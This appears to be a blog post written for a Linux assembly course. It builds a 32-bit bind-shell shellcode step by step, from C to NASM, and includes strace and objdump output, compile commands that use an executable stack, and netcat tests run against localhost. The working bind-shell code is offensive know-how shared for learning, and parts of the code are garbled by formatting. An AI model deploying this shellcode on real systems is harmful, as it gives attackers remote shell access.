SLAE-473 Assignment #1 Bind Shell


This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment will be to create a Linux 32bit Shell_Bind_TCP shellcode (binds to a network port), execs a shell on incoming connection and the listening port number should be configurable.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the projects Github repo.
Expected usage of this shellcode will be that when it’s executed on the ‘target’ system, the shell will bind to a tcp port and wait for a remote user to connect to the ‘target’ system for interaction.

Note: Example shellcode contains null characters to help simplify demonstration and processor registers have not been cleared which may lead to issues if used within an exploit.

[client]->[target host:port]


  1. Write shellcode in high level language, c.
  2. Extrapolate system calls and parameters to equivalent assembly code.
  3. Take assembly code of shellcode, place into high level language as array of hex values and run shellcode directly from program’s stack.

 High Level Language shellcode

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
 int client_file_descripter, sock_file_descripter;
 int network_port = 3333;//tcp port that shell will bind to
 struct sockaddr_in mysockaddr;

 sock_file_descripter = socket(AF_INET, SOCK_STREAM, 0);

 mysockaddr.sin_family = AF_INET; //2, TCP protocol
 mysockaddr.sin_port = htons(network_port);//tcp port to listen on
 mysockaddr.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address

 bind(sock_file_descripter, (struct sockaddr *) &amp;amp;mysockaddr, sizeof(mysockaddr));

 listen(sock_file_descripter, 0);

 client_file_descripter = accept(sock_file_descripter, NULL, NULL);

 dup2(client_file_descripter, 0); //stdin
 dup2(client_file_descripter, 1); //stdout
 dup2(client_file_descripter, 2); //stderror

 execve(&quot;/bin/sh&quot;, NULL, NULL);//Execute shell command
 return 0;


Compile using gcc

#gcc -g -static bind-shell.c -o bind-shell

Test shellcode

target$./bind-shell &
[1] 41033
target$netstat -nlp|grep bind-shell
(Not all processes could be identified, non-owned process info will  not be shown, you would have to be root to see it all.)
tcp 0 0* LISTEN 41033/bind-shell

Connect to bindshell via network socket and run ‘id’ to confirm shell interaction

target$ nc -vv localhost 3333
localhost [] 3333 (?) open
uid=1000(remote) gid=1001(remote) groups=1001(remote)

Shellcode Assembly

Our high level shellcode makes some system calls and we need to only extrapolate the assembly code which interests us.

These are the c function calls which interest us:

  1. socket()
  2. bind()
  3. listen()
  4. accept()
  5. dup2()
  6. execve()

Run strace to help visualize calls:

target$ strace -e socket,bind,listen,accept,dup2,execve ./bind-shellexecve("./bind-shell", ["./bind-shell"], [/* 30 vars */]) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("")}, 16) = 0
listen(3, 0) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---

strace output shows that after the shellcode binary run the first system call is socket() with three parameters passed.
Next system call is bind() with three parameters. One of the parameters is a structure. We can obtain more detail from the man docs.
listen() system call with two parameters.
accept() system call with three parameters.
dup2() is called three times with two parameters each time.
execve() is called with three parameters.

To recap, we know which system calls are needed in our assembly shellcode, we know what parameters need to be passed to them but we don’t know the purpose of these syscalls and what the parameters represent. In the following sections I will demonstrate how to go about obtaining this information from Linux man docs, Linux kernel headers and the Gnu debugger. Or Google.


Get system call value
target$ grep socket /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102

target$ man socketcall
SOCKETCALL(2) Linux Programmer's Manual SOCKETCALL(2)

 socketcall - socket system calls

 int socketcall(int call, unsigned long *args);

 socketcall() is a common kernel entry point for the socket system calls. call determines
 which socket function to invoke. args points to a block containing the actual arguments,
 which are passed through to the appropriate call.

It would appear that the socket functions we are interested in are called by invoking socketcall() with the interrupt number 102=0x66 and passing the value representing the sub-function socket call.


target$ man socket
 socket - create an endpoint for communication
 int socket(int domain, int type, int protocol);

target$ grep -R sys_socket /usr/include/linux/net.h 
#define SYS_SOCKET 1 /* sys_socket(2) */
socket syscall number is 1.

Get constant for PF_INET
target$ grep -R PF_INET /usr/include/i386-linux-gnu/
/usr/include/i386-linux-gnu/bits/socket.h:#define PF_INET 2 /* IP protocol family. */

Get constant for SOCK_STREAM
target$ grep -R SOCK_STREAM /usr/include/i386-linux-gnu/
/usr/include/i386-linux-gnu/bits/socket_type.h: SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
Get constant for IPPROTO_IP
target$ grep -R IPPROTO_IP /usr/include/
/usr/include/pj/compat/socket.h:# if !defined(IPPROTO_IPV6)
/usr/include/linux/in.h: IPPROTO_IP = 0, /* Dummy protocol for TCP */

Syscall name: socket
Syscall number: 1
Number of params: 3
Param 1: 2
Param 2: 1
Param 3: 0
Returns: Socket file descriptor on success


target$ man bind
 bind - bind a name to a socket
 int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

target$ grep -R bind /usr/include/linux/net.h 
#define SYS_BIND 2 /* sys_bind(2) */
Bind syscall value is 2

Param 1:
Socket file descriptor from previous socket call.
Param 2:
Pointer to sockaddr structure. This structure is made up of three parts, Network address type, Port number, Network address.
Structure part 1:
Get constant for AF_INET.
target# grep -R AF_INET /usr/include/i386-linux-gnu/
/usr/include/i386-linux-gnu/bits/socket.h:#define AF_INET PF_INET
We know that PF_INET is 2
Structure part 2:
Structure part 3:

Param 3:
Length of param 2

Syscall name: bind
Syscall number: 2
Number of params: 3
Param 1: Socket file descriptor from previous socket() call
Param 2: Pointer to structure {2, 3333,}
Param 3: 16, length of param 2 bytes
Returns: 0 on success


target$ man listen
 listen - listen for connections on a socket
 int listen(int sockfd, int backlog);

target$ grep -R listen /usr/include/linux/net.h
#define SYS_LISTEN 4 /* sys_listen(2) */
listen syscall value is 4

Syscall name: listen
Syscall number: 4
Number of params: 2
Param 1: Socket file descriptor from previous socket() call
Param 2: 0, Incoming network byte queue size. Zero doesn't seem logical but this is because we don't actually have to set a value other than 0.
Returns: 0 on success


target$ man accept
 accept - accept a connection on a socket
 int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

target$ grep -R accept /usr/include/linux/net.h
#define SYS_ACCEPT 5 /* sys_accept(2) */
accept syscal value is 5

Syscall name: accept
Syscall number: 5
Number of params: 3
Param 1: Socket file descriptor from previous socket() call
Param 2: 0. We don't need to specify a network interface by using zero.
Param 3: NULL. Man doc says Null can be used if param 2 is 0.
Returns: Non-negative integer on success that is a descriptor for accepted socket.


man dup2
 dup, dup2, dup3 - duplicate a file descriptor
 int dup2(int oldfd, int newfd);
 dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:

target$ grep -R dup2 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_dup2 63

List file descriptor on system.
target$ ls -og /proc/self /proc/self/fd
total 0
lrwx------ 1 64 May 31 17:10 0 -> /dev/pts/0
lrwx------ 1 64 May 31 17:10 1 -> /dev/pts/0
lrwx------ 1 64 May 31 17:10 2 -> /dev/pts/0

Syscall name: dup2
Syscall number: 63
Number of params: 1
Param 1: 4, file descriptor returned from previous accept() syscall
Param 2: 0, 1, 3 We are redirecting stdin, stdout, stderror to the newly created network file descriptor.
Returns: Value of param2 on success.


target$ man execve
 execve - execute program
 int execve(const char *filename, char *const argv[],
 char *const envp[]);
 execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form:

remote@kali:~$ grep -R execve /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11

Syscall name: execve
Syscall number: 11
Number of params: 3
Param 1: "/bin/sh", We will be invoking the standard shell program
Param 2: 0, zero indicates no parameters passed to invoked program
Param 3: NULL, no environment variables needed.
Returns: Does not return on success.

Quick Primer on Linux system calls

  • syscall is default way of entering kernel mode on x86-64. This instruction is not available in 32 bit modes of operation on Intel processors.
  • sysenter is an instruction most frequently used to invoke system calls in 32 bit modes of operation. It is similar to syscall, a bit more difficult to use though, but that is kernel’s concern.
  • int 0x80 is a legacy way to invoke a system call and should be avoided.

Below is an excerp from

2.1 int 0x80

Let’s take a look at the first method. When the CPU receives a 0x80 interrupt, it enters kernel mode and executes the requested function, getting the appropriate handler through the Interrupt Descriptor Table.

The syscall number must be specified in EAX, which will eventually contain the return value. The function arguments (up to six), instead, are passed in the EBX, ECX, EDX, ESI, EDI and EBP registers (exactly in this order and using only the necessary registers). If the function requires more than six arguments, you need to put them in a structure and store the pointer to the first argument in EBX. Note: Linux kernels prior to 2.4 didn’t use the EBP register for passing arguments and, therefore, could pass only up to 5 arguments using registers.

After the syscall number and the parameters have been stored in the appropriate registers, the 0x80 interrupt is executed: the CPU enters kernel mode, executes the system call and returns the control to the user process.

To recap, to execute a system call, you need to:

  1. store the syscall number in EAX;
  2. store the syscall arguments in the appropriate registers or:
    • create an in-memory structure containing the syscall parameters,
    • store in EBX a pointer to the first argument;
  3. execute the 0x80 software interrupt.

Our shellcode will be using the int 0x80 legacy method of invoking system calls.

At this stage I had difficulty explaining how one would make a logical leap from c code to assembly. One can search the Internet and nearly all references would tell you to invoke the kernel syscalls using int 0x80 and what values need to go into which registers but finding real documentation is difficulty.

The next logical step would be to debug the shellcode binary and actually see if the code behaved as expected. I found that the code had many more calls than expected and didn’t match the Internet tutorials. But then I discovered that the key was to recompile my source code with the -static switch and thus make the binary self contained and not load any external libraries at run time.

The following images below show me breaking the debugger before the socket call.



Assemble the Assembly code

We can easily obtain the shellcode’s assembly representation by disassembling it through Objdump:

Look for main function

target$ objdump -d ./bind-shell -M intel |grep ':' -A 300|less

08048254 :
 8048254: 55 push ebp
 8048255: 89 e5 mov ebp,esp
 8048257: 83 e4 f0 and esp,0xfffffff0
 804825a: 83 ec 30 sub esp,0x30
 804825d: c7 44 24 2c 05 0d 00 mov DWORD PTR [esp+0x2c],0xd05
 8048264: 00 
 8048265: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
 804826c: 00 
 804826d: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
 8048274: 00 
 8048275: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
 804827c: e8 3f 85 00 00 call 80507c0 
 8048281: 89 44 24 28 mov DWORD PTR [esp+0x28],eax
 8048285: 66 c7 44 24 14 02 00 mov WORD PTR [esp+0x14],0x2
 804828c: 8b 44 24 2c mov eax,DWORD PTR [esp+0x2c]
 8048290: 0f b7 c0 movzx eax,ax
 8048293: 89 04 24 mov DWORD PTR [esp],eax
 8048296: e8 95 8c 00 00 call 8050f30 
 804829b: 66 89 44 24 16 mov WORD PTR [esp+0x16],ax
 80482a0: c7 44 24 18 00 00 00 mov DWORD PTR [esp+0x18],0x0
 80482a7: 00 
 80482a8: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10
 80482af: 00 
 80482b0: 8d 44 24 14 lea eax,[esp+0x14]
 80482b4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
 80482b8: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28]
 80482bc: 89 04 24 mov DWORD PTR [esp],eax
 80482bf: e8 fc 83 00 00 call 80506c0 
 80482c4: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 80482cb: 00 
 80482cc: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28]
 80482d0: 89 04 24 mov DWORD PTR [esp],eax
 80482d3: e8 68 84 00 00 call 8050740 
 80482d8: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
 80482df: 00 
 80482e0: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 80482e7: 00 
 80482e8: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28]
 80482ec: 89 04 24 mov DWORD PTR [esp],eax
 80482ef: e8 6c 83 00 00 call 8050660 
 80482f4: 89 44 24 24 mov DWORD PTR [esp+0x24],eax
 80482f8: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 80482ff: 00 
 8048300: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24]
 8048304: 89 04 24 mov DWORD PTR [esp],eax
 8048307: e8 e4 77 00 00 call 804faf0 
 804830c: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
 8048313: 00 
 8048314: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24]
 8048318: 89 04 24 mov DWORD PTR [esp],eax
 804831b: e8 d0 77 00 00 call 804faf0 
 8048320: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2
 8048327: 00 
 8048328: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24]
 804832c: 89 04 24 mov DWORD PTR [esp],eax
 804832f: e8 bc 77 00 00 call 804faf0 
 8048334: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
 804833b: 00 
 804833c: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 8048343: 00 
 8048344: c7 04 24 08 af 0a 08 mov DWORD PTR [esp],0x80aaf08
 804834b: e8 f0 74 00 00 call 804f840 
 8048350: b8 00 00 00 00 mov eax,0x0
 8048355: c9 leave 
 8048356: c3 ret

Syscalls are referenced using sub calls. We can dump these calls further and flatten our final shellcode. Printing socket() call function confirms exactly what we expect, socketcall() is being invoked by placing 0x66 into EAX register, 0x1 is placed into ebx for socket() sub function and int 0x80 is triggered.

target$ objdump -d ./bind-shell -M intel |grep ':' -A 300|less

080507c0 :
 80507c0: 89 da mov edx,ebx
 80507c2: b8 66 00 00 00 mov eax,0x66
 80507c7: bb 01 00 00 00 mov ebx,0x1
 80507cc: 8d 4c 24 04 lea ecx,[esp+0x4]
 80507d0: cd 80 int 0x80
 80507d2: 89 d3 mov ebx,edx
 80507d4: 83 f8 83 cmp eax,0xffffff83
 80507d7: 0f 83 e3 12 00 00 jae 8051ac0 
 80507dd: c3 ret 
 80507de: 90 nop
 80507df: 90 nop

A key requirement of the newly created shellcode will be to ensure that it can run without prior knowledge of where it will located in memory. That means the shellcode cannot contain any references like call or jmp to specific memory locations.

After tracing the shellcode through Gnu debugger this is my final assembly code presented in nasm format.

; shellcode.nasm 
; Author: Mutti K
; Purpose: Demonstration of simple bindshell 

global _start

section .text


 ; socket()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x1 ; socket() socketcall() sub call number
 push 0x0 ; Param 3. Reverse order params onto stack
 push 0x1 ; Param 2
 push 0x2 ; Param 1
 mov ecx, esp ; store stack point of socket arguments
 int 0x80
 mov esi, eax ; store newly created socket file descriptor for later use
 ; bind()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x2 ; bind() socketcall() sub call number
 ;Create structure on stack for param 2.
 push 0x00000000 ; bytes 16-12, not needed
 push 0x00000000 ; bytes 12-18, not needed
 push 0x00000000 ; bytes 8-4, bind to any ip address
 push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2
 push WORD 0x02 ; AF_INET, bytes 2-0
 mov edi, esp ; store pointer to structure for param 2 of bind()
 ; Reverse order params for bind() onto stack
 push 0x10 ; Param 3 is length of param 2 structure
 push edi ; Param 2 pointer to structure
 push esi ; Param 1, socket file descriptor from socket() call
 mov ecx, esp ; store stack point of socket arguments
 int 0x80

 ; listen()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x4 ; listen() socketcall() sub call number
 ; Reverse order params for bind() onto stack
 push 0x0 ; Param 2
 push esi ; Param 1, socket file descriptor from socket() call
 mov ecx, esp ; store stack point of socket arguments
 int 0x80

 ; accept()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x5 ; accept() socketcall() sub call number
 ; Reverse order params for bind() onto stack
 push 0x0 ; Param 3. addrlen is null
 push 0x0 ; Param 2. addr is null
 push esi ; Param 1, socket file descriptor from socket() call
 mov ecx, esp ; store stack point of socket arguments
 int 0x80
 mov edx, eax ; store new file descriptor for use in dup2 to redirect stdin, out, error

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x0 ; oldfd, stdin
 mov ebx, edx ; newfd, returned fd from accept()
 int 0x80

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x1 ; oldfd, stdout
 mov ebx, edx ; newfd, returned fd from accept()
 int 0x80

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x2 ; oldfd, stderror
 mov ebx, edx ; newfd, returned fd from accept()
 int 0x80

 ; execve()
 mov edx, 0x0 ; Param 3, null
 mov ecx, 0x0 ; Param 2, null
 ;create string on stack /bin/sh
 push 0x0068732f ; hs/
 push 0x6e69622f ; nib/
 mov ebx, esp ; Param 1 store pointer to string
 mov eax, 0xb ; execve()
 int 0x80

To compile, issue

$ nasm -f elf32 -o shellcode.o shellcode.nasm
$ ld -o shellcode shellcode.o

Final test is to see if it can run within skeleton c code from the stack.

Convert shellcode to byte representations

target$ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

Place shellcode into skeleton c code and modify slightly to allow configurable port number.

#DEFINE PORT_NUMBER "\x0d\x05" //od05 = 3333d
unsigned char code[] = \

main() { 
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code; ret(); 

And compile new test code with executable stack.

$ gcc -o ./bind_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack

Test the bind shell by connecting to it using netcat

target$ ./bind_shellcode_skeleton 
Shellcode Length: 164
$ nc -vv localhost 3333
localhost [] 3333 (?) open
uid=1000(remote) gid=1001(remote) groups=1001(remote)
 sent 8, rcvd 54

Thank you

Mutti K

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student-ID: SLAE-473